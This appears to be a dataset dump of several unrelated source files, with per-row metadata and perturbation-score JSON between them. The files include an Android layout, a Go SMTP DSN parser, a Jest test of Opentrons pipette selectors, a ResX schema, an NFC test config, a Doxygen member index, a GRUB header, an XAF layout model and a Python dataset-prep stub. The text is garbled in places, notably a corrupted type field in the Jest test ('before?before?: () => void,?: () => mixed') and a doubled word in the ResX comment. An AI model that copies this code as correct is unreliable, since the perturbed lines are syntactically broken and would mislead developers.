android:layout_toRightOf="@id/umeng_socialize_icon"
android:gravity="center_vertical"
android:text="MSG"
android:textColor="#333333"
android:textSize="16sp" />
<com.umeng.socialize.view.wigets.SwitchImageView
android:id="@+id/umeng_socialize_toggle"
android:layout_width="wrap_content"
android:layout_height="25dp"
android:layout_marginRight="15dp"
android:layout_alignParentRight="true"
android:layout_centerVertical="true"
android:layout_gravity="right|center" />
<View android:id="@+id/umeng_socialize_divider"
style="@style/umeng_socialize_divider"
android:layout_below="@id/umeng_socialize_msg"/>
</RelativeLayout>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
package core
import (
"errors"
"net"
"strconv"
"strings"
)
// DSN IP port and secured (none, tls, ssl)
type dsn struct {
tcpAddr net.TCPAddr
ssl bool
}
// String return string representation of a dsn
func (d *dsn) String() string {
s := ""
if d.ssl {
s = " SSL"
}
return d.tcpAddr.String() + s
}
//getDsnsFromString Get dsn string from config and returns slice of dsn struct
func GetDsnsFromString(dsnsStr string) (dsns []dsn, err error) {
if len(dsnsStr) == 0 {
return dsns, errors.New("your smtpd.dsn string is empty")
}
// clean
dsnsStr = strings.ToLower(dsnsStr)
// parse
for _, dsnStr := range strings.Split(dsnsStr, ";") {
if strings.Count(dsnStr, ":") != 2 {
return dsns, errors.New("bad smtpd.dsn " + dsnStr + " found in config" + dsnsStr)
}
t := strings.Split(dsnStr, ":")
// ip & port valid ?
tcpAddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(t[0], t[1]))
if err != nil {
return dsns, errors.New("bad IP:Port found in dsn" + dsnStr + "from config dsn" + dsnsStr)
}
ssl, err := strconv.ParseBool(t[2])
if err != nil {
return dsns, ErrBadDsn(err)
}
dsns = append(dsns, dsn{*tcpAddr, ssl})
}
return
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
// @flow
import noop from 'lodash/noop'
import * as SharedData from '@opentrons/shared-data'
import * as Selectors from '../selectors'
import * as Fixtures from '../__fixtures__'
import * as RobotSelectors from '../../robot/selectors'
import type { State } from '../../types'
jest.mock('@opentrons/shared-data')
jest.mock('../../robot/selectors')
type SelectorSpec = {|
name: string,
selector: (State, string) => mixed,
state: $Shape<State>,
expected: mixed,
before?before?: () => void,?: () => mixed,
|}
const mockGetPipetteModelSpecs: JestMockFn<
[string],
$Call<typeof SharedData.getPipetteModelSpecs, string>
> = SharedData.getPipetteModelSpecs
const mockGetPipetteNameSpecs: JestMockFn<
[string],
$Call<typeof SharedData.getPipetteNameSpecs, string>
> = SharedData.getPipetteNameSpecs
const mockGetProtocolPipettes: JestMockFn<
[State],
$Call<typeof RobotSelectors.getPipettes, State>
> = RobotSelectors.getPipettes
const mockLeftPipette: any = {
id: 'abc',
model: 'mock_left_model',
}
const mockRightPipette: any = {
id: 'def',
model: 'mock_right_model',
}
const mockLeftSpecs: any = {
displayName: 'Left Pipette',
name: 'mock_left',
backCompatNames: ['mock_left_legacy'],
}
const mockLeftLegacySpecs: any = {
displayName: 'Left Pipette Legacy',
name: 'mock_left_legacy',
}
const mockRightSpecs: any = {
displayName: 'Right Pipette',
name: 'mock_right',
}
// NOTE: protocol pipettes use "name" for the exact "model" because reasons
const mockLeftProtoPipette: any = {
mount: 'left',
name: 'mock_left_model',
modelSpecs: mockLeftSpecs,
}
const mockRightProtoPipette: any = {
mount: 'right',
name: 'mock_right_model',
modelSpecs: mockRightSpecs,
}
const SPECS: Array<SelectorSpec> = [
{
name: 'returns nulls by default',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: null,
settingsById: null,
},
},
},
expected: {
left: { compatibility: 'match', protocol: null, actual: null },
right: { compatibility: 'match', protocol: null, actual: null },
},
},
{
name: 'gets model specs for attached pipettes',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: mockRightPipette,
},
settingsById: null,
},
},
},
expected: {
left: {
compatibility: 'match',
protocol: null,
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: {
compatibility: 'match',
protocol: null,
actual: {
...mockRightPipette,
modelSpecs: mockRightSpecs,
displayName: 'Right Pipette',
},
},
},
},
{
name: 'marks as match if spec names match',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: mockRightPipette,
},
settingsById: null,
},
},
},
before: () => {
mockGetProtocolPipettes.mockReturnValue([
mockLeftProtoPipette,
mockRightProtoPipette,
])
},
expected: {
left: {
compatibility: 'match',
protocol: {
...mockLeftProtoPipette,
displayName: 'Left Pipette',
},
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: {
compatibility: 'match',
protocol: {
...mockRightProtoPipette,
displayName: 'Right Pipette',
},
actual: {
...mockRightPipette,
modelSpecs: mockRightSpecs,
displayName: 'Right Pipette',
},
},
},
},
{
name: 'marks as inexact match if spec names match in backcompat',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: Fixtures.mockUnattachedPipette,
},
settingsById: null,
},
},
},
before: () => {
mockGetProtocolPipettes.mockReturnValue([
{ ...mockLeftProtoPipette, modelSpecs: mockLeftLegacySpecs },
])
},
expected: {
left: {
compatibility: 'inexact_match',
protocol: {
...mockLeftProtoPipette,
modelSpecs: mockLeftLegacySpecs,
displayName: 'Left Pipette Legacy',
},
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: { compatibility: 'match', protocol: null, actual: null },
},
},
{
name: 'uses requestedAs from protocol pipette if available',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: Fixtures.mockUnattachedPipette,
},
settingsById: null,
},
},
},
before: () => {
mockGetProtocolPipettes.mockReturnValue([
{ ...mockLeftProtoPipette, requestedAs: mockLeftLegacySpecs.name },
])
},
expected: {
left: {
compatibility: 'inexact_match',
protocol: {
...mockLeftProtoPipette,
requestedAs: mockLeftLegacySpecs.name,
displayName: 'Left Pipette Legacy',
},
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: { compatibility: 'match', protocol: null, actual: null },
},
},
]
describe('protocol pipettes comparison selectors', () => {
beforeEach(() => {
mockGetProtocolPipettes.mockReturnValue([])
mockGetPipetteModelSpecs.mockImplementation(model => {
if (model === mockLeftPipette.model) return mockLeftSpecs
if (model === mockRightPipette.model) return mockRightSpecs
return null
})
mockGetPipetteNameSpecs.mockImplementation(name => {
if (name === mockLeftLegacySpecs.name) return mockLeftLegacySpecs
return null
})
})
SPECS.forEach(spec => {
const {
name,
selector,
state,
expected,
before = no
| null | 1
|
{
"advantage_score_max": 1.9906779527664185,
"advantage_score_mean": 1.9906779527664185,
"advantage_score_min": 1.9906779527664185,
"advantage_score_std": 0,
"advantage_scores": [
1.9906779527664185
],
"baseline_doc_loss": 0.5128519535064697,
"baseline_truncated": false,
"doc_advantage_score": 0.9106367826461792,
"length_change_ratio": 0.9130434782608695,
"net_length_change_chars": -2,
"original_sentences_length_chars": 23,
"replacement_paraphrases_length_chars": 21,
"sentences_perturbed": 1,
"target_doc_loss": 0.5631794929504395,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 6602,
"total_sentences": 3,
"truncated": false
}
|
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the mimetype specified instead.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with System.Runtime.Serialization.Formatters.Soap.SoapFormatter and then encoded using base64 encoding.encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
| null | 2
|
{
"advantage_score_max": 9.75998592376709,
"advantage_score_mean": 5.6655497550964355,
"advantage_score_min": 1.2224622964859009,
"advantage_score_std": 2.4358232021331787,
"advantage_scores": [
9.75998592376709,
6.995870113372803,
6.602655410766602,
5.816110610961914,
4.95916748046875,
4.302595615386963,
1.2224622964859009
],
"baseline_doc_loss": 0.09502015262842178,
"baseline_truncated": false,
"doc_advantage_score": 15.515938758850098,
"length_change_ratio": 0.9274447949526814,
"net_length_change_chars": -23,
"original_sentences_length_chars": 317,
"replacement_paraphrases_length_chars": 294,
"sentences_perturbed": 2,
"target_doc_loss": 0.0061240349896252155,
"target_truncated": false,
"threshold_passing_sentences": 7,
"total_doc_length_chars": 5696,
"total_sentences": 14,
"truncated": false
}
|
/**
* Copyright 2011-2012 Adrian Stabiszewski, as@nfctools.org
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.nfctools.test;
import java.io.IOException;
import org.nfctools.mf.ul.MemoryLayout;
import org.nfctools.mf.ul.Type2NdefOperations;
import org.nfctools.spi.acs.AcrMfUlReaderWriter;
public abstract class TestConfigs {
public static final String[] TYPE2_BLANK_TAGS = { "mfulc_blank.txt", "mful_blank.txt" };
public static Type2NdefOperations getType2BlankTag(String fileName) {
return getType2BlankTag(fileName, false, true);
}
public static Type2NdefOperations getType2BlankTag(String fileName, boolean formatted, boolean writable) {
try {
InMemoryTag tag = new InMemoryTag(FileMfUlReader.loadCardFromFile(fileName));
AcrMfUlReaderWriter readerWriter = new AcrMfUlReaderWriter(tag);
return new Type2NdefOperations(fileName.startsWith("mful_") ? MemoryLayout.ULTRALIGHT
: MemoryLayout.ULTRALIGHT_C, readerWriter, readerWriter.getTagInfo(), formatted, writable);
}
catch (IOException e) {
throw new RuntimeException(e);
}
}
}
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.1526603698730469,
"baseline_truncated": false,
"doc_advantage_score": 1.2517746686935425,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.920820951461792,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1599,
"total_sentences": 5,
"truncated": false
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.17"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>IRremoteESP8266: Class Members</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">IRremoteESP8266
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.17 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
</div><!-- top -->
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="contents">
<div class="textblock">Here is a list of all class members with links to the classes they belong to:</div>
<h3><a id="index_c"></a>- c -</h3><ul>
<li>calcBlockChecksum()
: <a class="el" href="classIRKelvinatorAC.html#a22f561397c526ed6cc3f69a5d527d8d6">IRKelvinatorAC</a>
</li>
<li>calcChecksum()
: <a class="el" href="classIRAmcorAc.html#aec764cf4d88bb3fcbe3f36d24780f6a9">IRAmcorAc</a>
, <a class="el" href="classIRArgoAC.html#acab2fe3b9f77f57f0e99da0bec0d7392">IRArgoAC</a>
, <a class="el" href="classIRCarrierAc64.html#a20676dcf4b0a6510cc3bce282fbf8504">IRCarrierAc64</a>
, <a class="el" href="classIRDaikin64.html#ac29c18fde1b0cd98991e68c0f672d0e9">IRDaikin64</a>
, <a class="el" href="classIRDelonghiAc.html#a14d7629bb888deb02e83886191f44c2d">IRDelonghiAc</a>
, <a class="el" href="classIRElectraAc.html#aa8063d07e41ca2cc0fd27093a2e67bb2">IRElectraAc</a>
, <a class="el" href="classIRHitachiAc1.html#a6995513d5b59cd7b14cfff39c8843e8d">IRHitachiAc1</a>
, <a class="el" href="classIRHitachiAc.html#a6e5da77c12ad105439eb159b6a58104a">IRHitachiAc</a>
, <a class="el" href="classIRLgAc.html#a96024e736cf87e65b4e2db7c4c269520">IRLgAc</a>
, <a class="el" href="classIRMideaAC.html#ac8733348b311ecf8eed87021cdf4ee31">IRMideaAC</a>
, <a class="el" href="classIRNeoclimaAc.html#ac75f316cd1813cdb4e8a6d45d10ddd57">IRNeoclimaAc</a>
, <a class="el" href="classIRPanasonicAc.html#a0e38b0f3c54e49cdb59f92279e19840f">IRPanasonicAc</a>
, <a class="el" href="classIRSamsungAc.html#a00f9b2a1480d2ed45bdea5d236c77d0f">IRSamsungAc</a>
, <a class="el" href="classIRSanyoAc.html#a7836c947d6d725d6c55ae2ca9e8b445d">IRSanyoAc</a>
, <a class="el" href="classIRSharpAc.html#af3655c9c394b1391572e8ffab70881ff">IRSharpAc</a>
, <a class="el" href="classIRTcl112Ac.html#a0973a1c8a53661ee7720ecb5d08e6dcc">IRTcl112Ac</a>
, <a class="el" href="classIRToshibaAC.html#a0d91d32d0d9d722f750eb423d88509f4">IRToshibaAC</a>
, <a class="el" href="classIRTrotecESP.html#ac1fdbcbbb8dd1ca50ccf2b55c7281c89">IRTrotecESP</a>
, <a class="el" href="classIRVestelAc.html#ac0ba3de4de70350c5325b3d5e0b39e58">IRVestelAc</a>
, <a class="el" href="classIRVoltas.html#a0069131bedc4b97a61547abe9640fd09">IRVoltas</a>
</li>
<li>calcFirstChecksum()
: <a class="el" href="classIRDaikin128.html#a25b25f6b73bb5f1fd17a16080179d4bc">IRDaikin128</a>
</li>
<li>calcSecondChecksum()
: <a class="el" href="classIRDaikin128.html#aea8da64300afe0d62ddf3082a72251f2">IRDaikin128</a>
</li>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 1999,2000,2001,2002,2003,2004 Free Software Foundation, Inc.
*
* SPDX-License-Identifier: GPL-2.0+
*/
/*
* Copyright 2007 Sun Microsystems, Inc. All rights reserved.
* Use is subject to license terms.
*/
#ifndef _SYS_DSL_DIR_H
#define _SYS_DSL_DIR_H
typedef struct dsl_dir_phys {
uint64_t dd_creation_time; /* not actually used */
uint64_t dd_head_dataset_obj;
uint64_t dd_parent_obj;
uint64_t dd_clone_parent_obj;
uint64_t dd_child_dir_zapobj;
/*
* how much space our children are accounting for; for leaf
* datasets, == physical space used by fs + snaps
*/
uint64_t dd_used_bytes;
uint64_t dd_compressed_bytes;
uint64_t dd_uncompressed_bytes;
/* Administrative quota setting */
uint64_t dd_quota;
/* Administrative reservation setting */
uint64_t dd_reserved;
uint64_t dd_props_zapobj;
uint64_t dd_deleg_zapobj; /* dataset permissions */
uint64_t dd_pad[20]; /* pad out to 256 bytes for good measure */
} dsl_dir_phys_t;
#endif /* _SYS_DSL_DIR_H */
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.6659324169158936,
"baseline_truncated": false,
"doc_advantage_score": 1.5108113288879395,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 1.1026740074157715,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1044,
"total_sentences": 3,
"truncated": false
}
|
<?xml version="1.0" encoding="utf-8"?>
<Application>
<SchemaModules>
<SchemaModule Name="LogicModule" Version="13.1.6.2" IsNewNode="True" />
<SchemaModule Name="SystemModule" Version="13.1.6.0" IsNewNode="True" />
</SchemaModules>
<Views>
<DetailView Id="LogicRuleOperationPermissionData_DetailView">
<Layout>
<LayoutGroup Id="Main" RelativeSize="100">
<LayoutGroup Id="SimpleEditors" RelativeSize="8" Direction="Horizontal">
<LayoutGroup Id="LogicRuleOperationPermissionData_col1" ShowCaption="False" Index="0" RelativeSize="48" IsNewNode="True">
<LayoutItem Id="ObjectTypeData" ViewItem="ObjectTypeData" SizeConstraintsType="Default" Index="0" RelativeSize="51" IsNewNode="True" />
<LayoutItem Id="Index" ViewItem="Index" SizeConstraintsType="Default" Index="1" RelativeSize="48" IsNewNode="True" />
</LayoutGroup>
<LayoutGroup Id="LogicRuleOperationPermissionData_col2" ShowCaption="False" Index="1" RelativeSize="51" IsNewNode="True">
<LayoutItem Id="ID" ViewItem="ID" SizeConstraintsType="Default" Index="0" RelativeSize="51" IsNewNode="True" />
<LayoutItem Id="Description" ViewItem="Description" SizeConstraintsType="Default" Index="1" RelativeSize="48" IsNewNode="True" />
</LayoutGroup>
<LayoutGroup Id="LogicRuleOperationPermissionData" RelativeSize="100" Removed="True">
<LayoutGroup Id="LogicRuleOperationPermissionData_col1" RelativeSize="47">
<LayoutItem Id="ObjectTypeData" SizeConstraintsType="Default" Index="0" RelativeSize="50" />
<LayoutItem Id="Index" SizeConstraintsType="Default" Index="1" RelativeSize="50" />
<LayoutItem Id="ViewEditMode" SizeConstraintsType="Default" RelativeSize="14" Index="4" Removed="True" />
<LayoutItem Id="ID" SizeConstraintsType="Default" RelativeSize="36" Removed="True" />
<LayoutItem Id="Nesting" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
<LayoutItem Id="View" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
<LayoutItem Id="ViewType" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
</LayoutGroup>
<LayoutGroup Id="LogicRuleOperationPermissionData_col2" RelativeSize="48" Caption="LogicRuleOperationPermissionData_col2">
<LayoutItem Id="ID" ViewItem="ID" SizeConstraintsType="Default" Index="0" RelativeSize="50" IsNewNode="True" />
<LayoutItem Id="IsNew" SizeConstraintsType="Default" RelativeSize="36" Index="0" Removed="True" />
<LayoutItem Id="Description" ViewItem="Description" SizeConstraintsType="Default" Index="1" RelativeSize="50" IsNewNode="True" />
<LayoutItem Id="ExecutionContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="1" Removed="True" />
<LayoutItem Id="ViewContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="2" Removed="True" />
<LayoutItem Id="FrameTemplateContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="3" Removed="True" />
<LayoutItem Id="ActionExecutionContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="4" Removed="True" />
<LayoutItem Id="FrameTemplateContext" SizeConstraintsType="Default" RelativeSize="20" Removed="True" />
<LayoutItem Id="IsRootView" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
</LayoutGroup>
</LayoutGroup>
</LayoutGroup>
<LayoutGroup Id="SizeableEditors" RelativeSize="91">
<TabbedGroup Id="Item4" CaptionLocation="Top" Index="0" RelativeSize="100" IsNewNode="True">
<LayoutGroup Id="Item3" ShowCaption="True" Caption="Criteria" CaptionLocation="Top" Index="0" RelativeSize="100" IsNewNode="True">
<LayoutItem Id="IsNew" ViewItem="IsNew" SizeConstraintsType="Default" Index="0" RelativeSize="4" IsNewNode="True" />
<LayoutGroup Id="Autoc6021d85-caf0-413c-8ec9-2267ee0c4dc2" ShowCaption="False" Caption="Autoc6021d85-caf0-413c-8ec9-2267ee0c4dc2(13)" Direction="Horizontal" Index="1" RelativeSize="95" IsNewNode="True">
<LayoutItem Id="NormalCriteria" ViewItem="NormalCriteria" SizeConstraintsType="Default" Index="0" RelativeSize="48" CaptionLocation="Top" IsNewNode="True" />
<LayoutItem Id="EmptyCriteria" ViewItem="EmptyCriteria" SizeConstraintsType="Default" Index="1" RelativeSize="51" CaptionLocation="Top" IsNewNode="True" />
</LayoutGroup>
</LayoutGroup>
<LayoutGroup Id="Item5" ShowCaption="True" CaptionLocation="Top" Direction="Vertical" Index="1" RelativeSize="100" Caption="View" IsNewNode="True">
<LayoutItem Id="View" ViewItem="View" SizeConstraintsType="Default" Index="0" RelativeSize="4" IsNewNode="True" />
<LayoutItem Id="ViewType" ViewItem="ViewType" SizeConstraintsType="Default" Index="1" RelativeSize="3" IsNewNode="True" />
<LayoutGroup Id="Auto6acd6bd2-7c38-4d12-bd5f-8892b2de60d2" ShowCaption="False" Caption="Auto6acd6bd2-7c38-4d12-bd5f-8892b2de60d2(19)" Direction="Horizontal" Index="2" RelativeSize="5" IsNewNode="True">
<LayoutItem Id="Nesting" ViewItem="Nesting" SizeConstraintsType="Default" Index="0" RelativeSize="48" IsNewNode="True" />
<LayoutItem Id="IsRootView" ViewItem="IsRootView" SizeConstraintsType="Default" Index="1" RelativeSize="51" IsNewNode="True" />
</LayoutGroup>
<LayoutItem Id="ViewEditMode" ViewItem="ViewEditMode" SizeConstraintsType="Default" Index="3" RelativeSize="85" IsNewNode="True" />
</LayoutGroup>
<LayoutGroup Id="Item1" ShowCaption="True" CaptionLocation="Top" Direction="Vertical" Index="2" RelativeSize="100" Caption="Contexts" IsNewNode="True">
<LayoutItem Id="FrameTemplateContext" ViewItem="FrameTemplateContext" SizeConstraintsType="Default" Index="0" RelativeSize="4" IsNewNode="True" />
<LayoutItem Id="ExecutionContextGroup" ViewItem="ExecutionContextGroup" SizeConstraintsType="Default" Index="1" RelativeSize="3" IsNewNode="True" />
<LayoutItem Id="ViewContextGroup" ViewItem="ViewContextGroup" SizeConstraintsType="Default" Index="2" RelativeSize="3" IsNewNode="True" />
<LayoutItem Id="FrameTemplateContextGroup" ViewItem="FrameTemplateContextGroup" SizeConstraintsType="Default" Index="3" RelativeSize="3" IsNewNode="True" />
<LayoutItem Id="ActionExecutionContextGroup" ViewItem="ActionExecutionContextGroup" SizeConstraintsType="Default" Index="4" RelativeSize="83" IsNewNode="True" />
</LayoutGroup>
</TabbedGroup>
<LayoutItem Id="Description" SizeConstraintsType="Default" RelativeSize="83" Removed="True" />
<LayoutItem Id="EmptyCriteria" SizeConstraintsType="Default" RelativeSize="7" Removed="True" />
<LayoutItem Id="NormalCriteria" SizeConstraintsType="Default" RelativeSize="8" Removed="True" />
</LayoutGroup>
</LayoutGroup>
</Layout>
</DetailView>
</Views>
</Application>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
"""Prepare Cityscapes dataset"""
import os
import sys
import argparse
import zipfile
cur_path = os.path.abspath(os.path.dirname(__file__))
root_path = os.path.split(os.path.split(os.path.split(cur_path)[0])[0])[0]
